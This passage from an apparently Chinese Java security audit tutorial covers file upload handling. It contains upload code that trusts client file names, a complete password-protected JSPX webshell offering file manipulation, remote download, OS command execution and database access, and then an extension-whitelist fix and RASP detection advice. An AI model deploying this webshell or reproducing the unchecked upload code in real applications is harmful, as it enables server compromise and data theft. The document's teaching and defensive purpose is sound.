while (fileItemIterator.hasNext()) {
FileItemStream fileItemStream = fileItemIterator.next();
String fieldName = fileItemStream.getFieldName();
// 字段名称
if (fileItemStream.isFormField()) {
String fieldValue = Streams.asString(fileItemStream.openStream());
// 字段值
out.println(fieldName + "=" + fieldValue + "<hr>");
} else {
String fileName = fileItemStream.getName();
File uploadFile = new File(uploadDir, fileName);
out.println(fieldName + "=" + fileName + "<hr>");
// 通过使用FileOutputStream向特定的文件中写入字节流,uploadFile写入的文件名
FileOutputStream fos = new FileOutputStream(uploadFile);
// 写文件 将上传文件的stream中的值复制到要写入的文件中 move_uploaded_file
Streams.copy(fileItemStream.openStream(), fos, true);
out.println("文件上传成功:" + uploadFile.getAbsolutePath() + "<hr>");
}
}
} else {
%>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>
File upload
</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>
用户名: <input name="username" type="text"/>
</p>
<p>
文件: <input id="file" name="file" type="file"/>
</p>
<input name="submit" type="submit" value="Submit"/>
</form>
</body>
</html>
<%
}
%>
主要就是看Content-Type
是否为multipart/form-data
非多端格式无法上传文件
文件上传成功
16.4. Servlet
文件上传
Web.xml
配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0" xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<servlet>
<servlet-name>file-upload-parts.jsp</servlet-name>
<jsp-file>/modules/servlet/fileupload/file-upload-parts.jsp</jsp-file>
<multipart-config>
<max-file-size>1000000</max-file-size>
<max-request-size>1000000</max-request-size>
<file-size-threshold>1000000</file-size-threshold>
</multipart-config>
</servlet>
<servlet-mapping>
<servlet-name>file-upload-parts.jsp</servlet-name>
<url-pattern>/modules/servlet/fileupload/file-upload-parts.jsp</url-pattern>
</servlet-mapping>
</web-app>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.io.IOUtils" %>
<%@ page import="java.util.Collection" %>
<%@ page import="java.io.File" %>
<% String contentType = request.getContentType();
// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
Collection<Part> parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath() + "<br/>");
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()) + "<br/>");
}
}
} else {
%>
<!DOCTYPE html><html lang="zh"><head>
<meta charset="UTF-8">
<title>File upload</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post"><p>
用户名: <input name="username" type="text"/>
文件: <input id="file" name="file" type="file"/></p>
<input name="submit" type="submit" value="Submit"/>
</form>
</body>
</html>
<% } %>
16.5. html+jspx
文件上传
<html>
<title>upload</title>
<body>
<form action="up.jspx" method="post" enctype="multipart/form-data">
<input type="file" name="upfile" size="50">
<input type="submit" value="submit">
</form>
</body>
</html>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="javax.servlet.*"/>
<jsp:directive.page import="javax.servlet.http.*"/>
<html>
<head><title>upFile</title></head>
<body bgcolor="#ffffff">
<jsp:scriptlet>
int MAX_SIZE = 102400 * 102400;
String rootPath;
DataInputStream in = null;
FileOutputStream fileOut = null;
String remoteAddr = request.getRemoteAddr();
String serverName = request.getServerName();
String realPath = request.getRealPath(serverName);
realPath = realPath.substring(0, realPath.lastIndexOf("\\"));
rootPath = realPath + "\\upload\\";
String contentType = request.getContentType();
try {
if (contentType.indexOf("multipart/form-data") >= 0) {
in = new DataInputStream(request.getInputStream());
int formDataLength = request.getContentLength();
if (formDataLength > MAX_SIZE) {
out.println("No more than" + MAX_SIZE + "");
return;
}
byte dataBytes[] = new byte[formDataLength];
int byteRead = 0;
int totalBytesRead = 0;
while (totalBytesRead != formDataLength) {
byteRead = in.read(dataBytes, totalBytesRead, formDataLength);
totalBytesRead += byteRead;
}
String file = new String(dataBytes);
//out.println(file);
String saveFile = file.substring(file.indexOf("filename=\"") + 10);
saveFile = saveFile.substring(0, saveFile.indexOf("\n"));
saveFile = saveFile.substring(saveFile.lastIndexOf("\\") + 1, saveFile.indexOf("\""));
int lastIndex = contentType.lastIndexOf("=");
String boundary = contentType.substring(lastIndex + 1, contentType.length());
String fileName = rootPath + saveFile;
//out.print(fileName);
int pos;
pos = file.indexOf("filename=\"");
pos = file.indexOf("\n", pos) + 1;
pos = file.indexOf("\n", pos) + 1;
pos = file.indexOf("\n", pos) + 1;
int boundaryLocation = file.indexOf(boundary, pos) - 4;
//out.println(boundaryLocation);
int startPos = ((file.substring(0, pos)).getBytes()).length;
//out.println(startPos);
int endPos = ((file.substring(0, boundaryLocation)).getBytes()).length;
//out.println(endPos);
File checkFile = new File(fileName);
if (checkFile.exists()) {
out.println("" + saveFile + " already exist.");
}
File fileDir = new File(rootPath);
if (!fileDir.exists()) {
fileDir.mkdirs();
}
fileOut = new FileOutputStream(fileName);
fileOut.write(dataBytes, startPos, (endPos - startPos));
fileOut.close();
out.println(saveFile + " succeed.");
} else {
String content = request.getContentType();
out.println("error:multipart/form-data");
}
} catch (Exception ex) {
throw new ServletException(ex.getMessage());
}
</jsp:scriptlet>
</body>
</html>
</jsp:root>
<!--password:password-->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml"
xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.net.*"/>
<jsp:directive.page import="java.sql.*"/>
<jsp:directive.page import="java.text.*"/>
<jsp:declaration>
String Pwd = "password";
String cs = "UTF-8";
String EC(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"), cs);
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim());
if (x[1].indexOf("jdbc:oracle") != -1) {
return DriverManager.getConnection(x[1].trim() + ":" + x[4], x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
} else {
Connection c = DriverManager.getConnection(x[1].trim(), x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n = 0;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = s.indexOf("jdbc:oracle") != -1 ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] x = s.trim().split("\r\n");
ResultSet r = c.getMetaData().getTables(null, s.indexOf("jdbc:oracle") != -1 ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[x.length - 1]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb, String p) throws Exception {
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
BufferedWriter bw = null;
try {
ResultSet r = m.executeQuery(q.indexOf("--f:") != -1 ? q.substring(0, q.indexOf("--f:")) : q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (int i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
if (q.indexOf("--f:") != -1) {
File file = new File(p);
if (q.indexOf("-to:") == -1) {
file.mkdir();
}
bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:") != -1 ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs));
}
while (r.next()) {
for (int i = 1; i <= n; i++) {
if (q.indexOf("--f:") != -1) {
bw.write(r.getObject(i) + "" + "\t");
bw.flush();
} else {
sb.append(r.getObject(i) + "" + "\t|\t");
}
}
if (bw != null) {
bw.newLine();
}
sb.append("\r\n");
}
r.close();
if (bw != null) {
bw.close();
}
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}
</jsp:declaration>
<jsp:scriptlet>
cs = request.getParameter("z0") != null ? request.getParameter("z0") + "" : cs;
response.setContentType("text/html");
response.setCharacterEncoding(cs);
StringBuffer sb = new StringBuffer("");
try {
String Z = EC(request.getParameter(Pwd) + "");
String z1 = EC(request.getParameter("z1") + "");
String z2 = EC(request.getParameter("z2") + "");
sb.append("->" + "|");
String s = request.getSession().getServletContext().getRealPath("/");
if (Z.equals("A")) {
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = {z1.substring(2), z1.substring(0, 2), z2};
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb, z2.indexOf("-to:") != -1 ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
</jsp:scriptlet>
</jsp:root>
16.6. 不依赖第三方库上传文件
Servlet @MultipartConfig
Servlet3.0
需要配置@MultipartConfig
注解才能支持multipart
解析
优点:
不依赖第三方库就可以直接实现文件上传功能
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.Part;
import java.io.IOException;
import java.util.Collection;
@MultipartConfig
// 高版本Servlet中通过注解@MultipartConfig可以自动解析对应的文件上传包
@WebServlet(urlPatterns = "/FileUploadServlet")
public class FileUploadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("text/html; charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<!DOCTYPE html>\n" +
"<html lang=\"zh\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>File upload</title>\n" +
"</head>\n" +
"<body>\n" +
"<form action=\"\" enctype=\"multipart/form-data\" method=\"post\">\n" +
" <p>\n" +
" 用户名: <input name=\"username\" type=\"text\"/>\n" +
" 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
" </p>\n" +
" <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
"</form>\n" +
"</body>\n" +
"</html>");
out.flush();
out.close();
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html; charset=UTF-8");
// ServletOutputStream getOutputStream():用来向客户端发送字节数据
// PrintWriter getWriter():用来向客户端发送字符数据
PrintWriter out = response.getWriter();
// 获取Content-Type的值
String contentType = request.getContentType();
// 检测是否是multipart请求
// 是否以multipart开头
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
/*
request.getSession().getServletContext() 获取的servlet容器对象;
相当于tomcat容器,
getRealPath("/") 获取实际路径
项目发布时,在容器中的实际路径
*/
File uploadDir = new File(dir);
// 是否为空
if (!uploadDir.exists()) {
// 若为空,则创建目录
uploadDir.mkdir();
}
//parts 对应的form表单中的值
Collection<Part> parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
FileOutputStream fileOutputStream = new FileOutputStream(uploadFile);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath());
// 默认的Part是一个未实现的接口,所以需要强转成FileInputStream类
FileInputStream partInputStream = (FileInputStream) part.getInputStream();
byte[] bytes = new byte[1024];
int realReadLength = -1;
while ((realReadLength = partInputStream.read(bytes)) != -1) {
fileOutputStream.write(bytes, 0, realReadLength);
}
fileOutputStream.close();
partInputStream.close();
} else {
// 默认的Part是一个未实现的接口,所以需要强转成FileInputStream类
FileInputStream partInputStream = (FileInputStream) part.getInputStream();
byte[] bytes = new byte[1024];
int realReadLength = -1;
realReadLength = partInputStream.read(bytes);
out.println(part.getName() + ": " + new String(bytes, 0, realReadLength));
}
}
}
out.flush();
out.close();
}
}
16.7. 文件上传白名单修复
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.Part;
import java.io.IOException;
import java.util.Collection;
@MultipartConfig
// 高版本Servlet中通过注解@MultipartConfig可以自动解析对应的文件上传包
@WebServlet(urlPatterns = "/FileUploadServlet")
public class FileUploadServlet extends HttpServlet {
private boolean judgeFileValid(String filename) {
String[] allowExt = new String[]{".jpg", ".png", ".gif"};
// 返回指定子字符串在此字符串中最右边出现处的索引,如果此字符串中没有这样的字符,则返回 -1
int lastIndexOf = filename.lastIndexOf(".");
// 获取后缀
String subString = filename.substring(lastIndexOf);
for (String ext :
allowExt) {
if (ext.equals(subString)) {
return true;
}
}
return false;
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("text/html; charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<!DOCTYPE html>\n" +
"<html lang=\"zh\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>File upload</title>\n" +
"</head>\n" +
"<body>\n" +
"<form action=\"\" enctype=\"multipart/form-data\" method=\"post\">\n" +
" <p>\n" +
" 用户名: <input name=\"username\" type=\"text\"/>\n" +
" 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
" </p>\n" +
" <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
"</form>\n" +
"</body>\n" +
"</html>");
out.flush();
out.close();
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html; charset=UTF-8");
// ServletOutputStream getOutputStream():用来向客户端发送字节数据
// PrintWriter getWriter():用来向客户端发送字符数据
PrintWriter out = response.getWriter();
// 获取Content-Type的值
String contentType = request.getContentType();
// 检测是否是multipart请求
// 是否以multipart开头
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
/*
request.getSession().getServletContext() 获取的servlet容器对象;
相当于tomcat容器,
getRealPath("/") 获取实际路径
项目发布时,在容器中的实际路径
*/
File uploadDir = new File(dir);
// 是否为空
if (!uploadDir.exists()) {
// 若为空,则创建目录
uploadDir.mkdir();
}
//parts 对应的form表单中的值
Collection<Part> parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
if (!this.judgeFileValid(fileName)) {
out.println("不允许上传的文件后缀名,请重试!");
return;
}
File uploadFile = new File(uploadDir, fileName);
FileOutputStream fileOutputStream = new FileOutputStream(uploadFile);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath());
// 默认的Part是一个未实现的接口,所以需要强转成FileInputStream类
FileInputStream partInputStream = (FileInputStream) part.getInputStream();
byte[] bytes = new byte[1024];
int realReadLength = -1;
while ((realReadLength = partInputStream.read(bytes)) != -1) {
fileOutputStream.write(bytes, 0, realReadLength);
}
fileOutputStream.close();
partInputStream.close();
} else {
// 默认的Part是一个未实现的接口,所以需要强转成FileInputStream类
FileInputStream partInputStream = (FileInputStream) part.getInputStream();
byte[] bytes = new byte[1024];
int realReadLength = -1;
realReadLength = partInputStream.read(bytes);
out.println(part.getName() + ": " + new String(bytes, 0, realReadLength));
}
}
}
out.flush();
out.close();
}
}
16.8. Java文件上传审计建议
RASP防御恶意文件上传攻击RASP不但应该防御Apache commons-fileupload库的文件上传请求,还应当支持Servlet 3.0新增的javax.servlet.http.Part。当检测到请求的文件名称包含了动态脚本文件(如:.jsp/.jspx/.jspf/.jspa/.php/.asp/.aspx等)的 时候需要立即拦截文件上传请求
6.1 Apache commons fileupload 防御Apache commons-fileupload底层处理解析Multipart的类是org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl,如下:
image-20201118163055865只需Hook FileItemStreamImpl类的构造方法就可以获取到Multipart的字段或者文件名称,RASP只需要检测传入的pName参数值cmd.jsp是否是一个合法的文件名称就可以实现文件上传校验了。image-20201118163440860需要注意一点,Tomcat封装了Apache commons fileupload库,并修改了fileupload类的包名,如:org.apache.tomcat.util.http.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl#FileItemStreamImpl,所以应当把这个类也放入检测范围内
6.2 javax.servlet.http.Part防御javax.servlet.http.Part是一个接口,不同的容器实现可能都不一样,RASP可以对javax.servlet.http.Part接口的getInputStream方法进行Hook,然后调用getName和getSubmittedFileName就可以获取到字段名称、文件名等信息。image-20201118165015405image-20201118165504047需要特别注意的是Jakarta EE8修改了javax.servlet.http.Part的API包名为:jakarta.servlet.http.Part,为了能够适配高版本的Jakarta API
6.3 Spring MVC文件名内置编码支持RASP为了更好的防御文件上传类请求,需要支持RFC 2047的QP编码,还需要支持对Spring MVC内置的文件名编码处理处理